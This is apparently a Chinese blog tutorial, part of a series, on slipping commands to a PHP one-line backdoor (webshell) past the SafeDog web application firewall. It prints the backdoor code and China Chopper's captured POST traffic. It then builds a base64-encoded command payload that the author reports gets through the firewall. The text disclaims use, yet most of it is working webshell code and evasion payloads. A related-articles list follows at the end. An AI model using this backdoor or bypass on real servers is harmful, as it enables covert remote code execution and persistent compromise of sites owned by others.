既然木马已就绪,那么想要利用木马,必然有一个数据传输的过程,数据提交是必须的,数据返回一般也会有的,除非执行特殊命令。

当我们用普通菜刀连接后门时,数据时如何提交的,狗狗又是如何识别的,下面结合一个实例,用通俗易懂的方式来演示数据提交层直接过狗原理。

本文意义:纵使网上有很多修改菜刀过狗的方法,但是我都看了下,局限性比较大,而且不太系统,新人学了可能会只是其一不知其二

环境:

域名与服务器均为个人真实所有。

服务器开启网站安全狗+服务器安全狗,引擎全部开启,最高防护级别。

对比环境:

服务器:apache+php5.3;本地:nginx+php5.3无狗环境作为对比

本地与有狗服务器具有相同的后门代码与链接方式

说明:本文仅分析过狗原理与代码实现,技术层面探讨,菜刀或者其他软件制作与修改本文不予讨论。

后门文件:

$a=array(base64_decode($_REQUEST['a']));
@array_map("assert",$a);

菜刀连接方式:http://localhost/test.php?xx=YXNzZXJ0KCRfUkVRVUVTVFsnc29maWEnXSk=     密码:sofia

该文件特征层面可过狗 ,上一篇文章已提到,

我们知道,菜刀已存在这么多年,安全狗早已对菜刀的特征门清,我们先来看下菜刀连接的时候特征是什么。

这是我随便连接的一个后门,其实不管后门代码是什么,打开文件管理,菜刀提交的数据都是一样的,如图

代码为:

sofia=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7

命令执行代码,base64_decode结果为以下,获取当前目录与磁盘名

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);echo $D."\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir($L.":"))echo($L.":");};echo("|<-");die();

其中参数名“sofia”就是我们所谓的菜刀密码不需要多解释吧?

那么我们在本地手工提交菜刀的post数据看一下:

本地正常返回当前目录与磁盘名,而服务端未显示,一定是被拦截咯,事实证明确实如此:

那为什么没蹦出拦截框呢?

根据我的经验,一般文件特征层能检测到是后门,才会弹窗,数据层一般不弹,当然,这只是我个人见解,可能不严谨。

其实狗狗对后门的检测文件特征是与数据提交检测机制是完全独立的。

为了验证这一点,我在同目录下建立一个null.php,内容为正常代码:

当不post数据时,正常输出内容,说明文件本身没有问题

把狗狗的post数据发一下试试?

又没有回显了,再去狗狗日志看下:

菜刀特征分析

那么很明显了,菜刀的post数据已经是个大特征了。

相信大家都能看出来这个eval太惹眼了(当然,其他版本或者其他waf检测的可能会是$_POST,或base64_decode)

sofia=@eval(base64_decode($_POST[z0]));

虽然看上去数据提交不怎么注重隐蔽,但是不得不承认菜刀是个伟大发明。

因为php后门五花八门,接受数据的类型与格式各不相同,于是菜刀就在post数据中再次构造一个执行代码,使得php后门接收到的数据全部统一为:“eval('执行命令')”,这样才使得菜刀的易用性才那么强。

具体代码执行与返回请参考上一章节

修改post数据

既然原因清楚了,我们接下来就修改post数据,修改的重点就在于替换eval特征。

思路一:分离“eval”四个字母即可

但是post数据中发挥空间太小,暂时没想到什么好办法。

思路二:修改后门文件,直接执行语句

这里可能就需要用一些其他回调函数,或者其他猥琐姿势,能够直接执行来自post的base64加密后的纯执行语句。

思路三:直接手工构造eval语句

前面说过,post数据最终的结果为:eval('执行命令')”,而且我们的语句对a参数已经decode的了

$a=array(base64_decode($_REQUEST['a']));

那么就直接把整个eval语句base64加密一下即可,

那么我们菜刀原始的利用语句可以这么构造:

eval('@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);echo $D."\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir($L.":"))echo($L.":");};echo("|<-");die();')

然后把这句话base64加密下,得到:

ZXZhbCgnQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7Jyk=

ok,那么这时候我们是直接把这句话传给$a的,那么post数据为:

a=ZXZhbCgnQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7Jyk=

试试?

成功返回结果,换个语句试试?

至此,这是数据流层面的过狗方式,当然过狗思路千千万,不限于这一种,更多的是需要大家去发掘。

另外,

这里要跟大家提一点,assert函数与eval函数是完全不同的函数,不要以为能出phpinfo()结果就是过狗了,assert能执行phpinfo()一类的函数,但是其他php语句还是是需要借用eval的,当然,执行命令也不限于eval,还有各种回调函数。

写在最后

怎么?你是不是还想问菜刀怎么连?

本文开头说了,这里仅讨论技术本身,至于如何去用,那么,会php的人,看了这篇文字,应该已经有思路了,

而不会php的人,可能就想着:“博客赶紧给我来个一句话加软件,最好打开就能用”,然后偷偷窃喜指望它能平天下。

我还是那句话,安全之路,我们大多数人还只是个学者,希望多关注技术本身,不要膨胀才好。

php一句话后门过狗姿势万千之传输层加工【三】的更多相关文章

  1. php一句话后门过狗姿势万千之传输层加工(1)

    写在前面:过狗相关的资料网上也是有很多,所以在我接下来的文章中,可能观点或者举例可能会与网上部分雷同,或者表述不够全面.但是我只能说,我所传达给大家的信息,是我目前所掌握或者了解的,不能保证所有人都会 ...

  2. PHP一句话后门过狗姿势万千之传输层加工

    既然木马已就绪,那么想要利用木马,必然有一个数据传输的过程,数据提交是必须的,数据返回一般也会有的,除非执行特殊命令. 当我们用普通菜刀连接后门时,数据时如何提交的,狗狗又是如何识别的,下面结合一个实 ...

  3. php一句话后门过狗姿势万千之后门构造与隐藏【二】

    第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础: ...

  4. PHP一句话后门过狗姿势万千之后门构造与隐藏

    第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础: ...

  5. PHP一句话后门过狗姿势万千之理论篇

    写在前面: 过狗相关的资料网上也是有很多,所以在我接下来的文章中,可能观点或者举例可能会与网上部分雷同,或者表述不够全面. 但是我只能说,我所传达给大家的信息,是我目前所掌握或者了解的,不能保证所有人 ...

  6. 那些强悍的PHP一句话后门

    强悍的PHP一句话后门这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马.利用404 ...

  7. 一些变态的PHP一句话后门收集

    这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马. 利用404页面隐藏PHP小马 ...

  8. 强大的PHP一句话后门

    强悍的PHP一句话后门  这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的. 今天我们细数一些有意思的PHP一句话木马. 1 ...

  9. 9. 那些强悍的PHP一句话后门

    强悍的PHP一句话后门 这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马. 利用4 ...

随机推荐

  1. 微软正开发Office Reader和Office Lens

    据熟知微软Office计划的消息人士透露,微软目前正开发新Windows 8风格的Office应用程序,该应用程序代号被微软称为Office Reader,而为Windows Phone开发的应用程序 ...

  2. NSString学习

    基本概念 NSString是以UTF-16 code uint的序列.所有的长度.字符.范围都是以16比特platform-endian(大端序小段序基于平台)的形式表示的. 所以,一个英文字母的长度 ...

  3. android加固系列—3.加固前先学会破解,静态修改so

    [版权所有,转载请注明出处.出处:http://www.cnblogs.com/joey-hua/p/5138585.html] 项目jni的关键代码(项目地址见文章底部),获取当前程序的包名com. ...

  4. 你真的了解UINavigationController吗?

    一:首先查看一下关于UINavigationController的定义 NS_CLASS_AVAILABLE_IOS(2_0) @interface UINavigationController : ...

  5. 【代码笔记】iOS-3个section,每个都有header.

    一,效果图: 二,工程目录. 三,代码 RootViewController.h #import <UIKit/UIKit.h> @interface RootViewController ...

  6. GIT在iOS开发中的使用

    前言 在iOS开发中,很多公司对项目的版本控制管理都使用了git,当然也有部分公司使用的是svn.当年我最初接触的是svn,觉得使用起来挺方便的,但是每次切分支都需要下载一份新的代码起来,这实在太麻烦 ...

  7. 深入浅出Block的方方面面

    内容大纲: 1.Blocks概要 2.Blocks模式 3.Block实质(面试常问重点) 1.Blocks概要 什么是Blocks:Blocks是C语言的扩充的功能,可以用一句话来表示Blocks的 ...

  8. SQL server 2014安装以及解决连接数据库失败问题

    安装教程:http://jingyan.baidu.com/article/3a2f7c2e653d5926afd61197.html 安装好之后打开SQL server 2014 Managemen ...

  9. yii2 GridView 日期格式化并实现日期可搜索 案例

    作者:白狼 出处:http://www.manks.top/article/yii2_gridview_dateformat_search 本文版权归作者,欢迎转载,但未经作者同意必须保留此段声明,且 ...

  10. javascript-建造者模式

    建造者模式笔记 1.工厂模式主要是为了创建对象实例或者类簇(抽象工厂),关心的是最终产出(创建)的是什么,不关心你创建的整个过程,仅仅需要知道你最终创建的结果 2.建造者模式目的也是为了创建对象,但是 ...